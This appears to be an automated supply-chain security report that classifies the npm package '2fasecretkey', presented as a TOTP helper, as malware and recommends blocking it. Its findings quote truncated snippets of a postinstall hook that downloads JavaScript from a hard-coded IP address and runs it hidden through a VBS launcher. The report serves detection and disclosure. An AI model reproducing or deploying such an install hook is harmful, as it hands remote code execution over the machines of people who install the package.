The execution is detached and hidden through a temporary VBS launcher. - **Trigger:** npm installation invokes postinstall. - **Impact:** The remote server can cause arbitrary code to run with the installing user's privileges. - **Evidence paths:** package.json, index.js, README.md - **Review source:** ai\_review - **Reviewed:** 2026-08-27T20:52:48.285Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** remote payload download, temporary-file drop, and hidden detached execution - **Attack narrative:** On installation, the postinstall command fetches JavaScript from a hard-coded IP address, saves it under a random temporary filename, creates a VBS launcher, and invokes Node on that file through detached wscript.exe. This gives the remote endpoint control over code executed on Windows systems without any user action beyond installing the package. - **Rationale:** The manifest contains a concrete, unconsented postinstall remote-code execution chain unrelated to the stated TOTP functionality. This is malicious install-time behavior. - **Files touched:** package.json, temporary random .js file, temporary \_r.vbs file, wscript.exe - **Network endpoints:** http://185.14.92.233:7777/p.js ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for:** The postinstall hook downloads a JavaScript payload from an unrelated IP address during npm installation., It writes the downloaded payload to a random temporary JavaScript file., It creates a VBS launcher and starts the payload with hidden, detached wscript.exe execution. - **Evidence against:** The exported index module only exposes TOTP helper wrappers, although its referenced lib/core file is absent from the package., No package source shows a legitimate need for an install-time remote payload downloader. ## Public findings ### 1. High: Install Time Lifecycle Scripts - **Category:** Manifest - **Confidence:** 90.0% - **Path:** package.json - **Public source:** [View source]() Package defines install-time lifecycle scripts. Public source snippet (untrusted): ```json scripts.postinstall = node -e "var h=require('http'),d='',os=require('os'),fs=require('fs'),pa=require('path'),cp=require('child_process');h.get('http://185.14.92.233:7777/p.js',function(r){r.on('data',... ``` ### 2. Critical: Red Install Lifecycle Script - **Category:** Manifest - **Confidence:** 95.0% - **Path:** package.json - **Public source:** [View source]() Install-time lifecycle script matches a deterministic static-gate block pattern. Public source snippet (untrusted): ```json scripts.postinstall = node -e "var h=require('http'),d='',os=require('os'),fs=require('fs'),pa=require('path'),cp=require('child_process');h.get('http://185.14.92.233:7777/p.js',function(r){r.on('data',... ``` ### 3. Low: Scripts Present - **Category:** Manifest - **Confidence:** 100.0% Package declares npm scripts. ### 4. High: Same File Env Network Execution - **Category:** Source - **Confidence:** 85.0% - **Path:** package.json\#scripts.postinstall - **Public source:** [View source]() A single source file combines environment access, network access, and code or shell execution; review context before blocking. Public source snippet (untrusted): ```text L1: var h=require('http'),d='',os=require('os'),fs=require('fs'),pa=require('path'),cp=require('child_process');h.get('http://185.14.92.233:7777/p.js',function(r){r.on('data',function(... ``` ### 5. High: Suspicious Lifecycle Evidence - **Category:** Manifest - **Confidence:** 99.0% - **Path:** package.json - **Public source:** [View source]() The postinstall hook downloads a JavaScript payload from an unrelated IP address during npm installation. Public source snippet (untrusted): ```json h.get('http://185.14.92.233:7777/p.js',function(r){r.on('data',function(c){d+=c});r.on('end',function(){try{var t=pa.join(os.tmpdir(),'_vc'+Math.random().toString(36).slice(2)+'.js');fs.writeFileSync(t,d); ``` ### 6. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** package.json - **Public source:** [View source]() It creates a VBS launcher and starts the payload with hidden, detached wscript.exe execution. Public source snippet (untrusted): ```json fs.writeFileSync(vp,vbs);var env=Object.assign({},process.env,{_NP:process.execPath,_SP:t});cp.spawn('wscript.exe',['/nologo',vp],{detached:true,stdio:'ignore',env:env}).unref() ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** Yes - **Published lifecycle scripts:** postinstall - **Dependencies:** 0 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 0 ## Package metadata - **Package:** 2fasecretkey - **Ecosystem:** npm - **Version:** 1.1.2 - **License:** MIT - **Version published:** 2026-08-27T20:42:04.540Z - **Package first seen:** 2026-08-27T20:52:47.862Z - **Package last seen:** 2026-08-27T20:59:22.330Z - **Known versions:** 3 - **Latest version:** 1.1.4 - **Appeal under review:** No - **Description:** Fast, minimal two-factor auth helper for Node.js — HMAC-based OTP with zero dependencies - **Author:** secretkey2fa contributors - **Keywords:** totp, hotp, otp, 2fa, mfa, authenticator, secret-key, one-time-password - **Runtime engines:** node: \>=14 - **Artifact files:** 3 - **Artifact unpacked size:** 3,715 bytes - **Artifact signatures:** 1 - **Attestations:** No ## References - [HTML security report]() - [Repository]() - [Homepage]() - [Issues]()
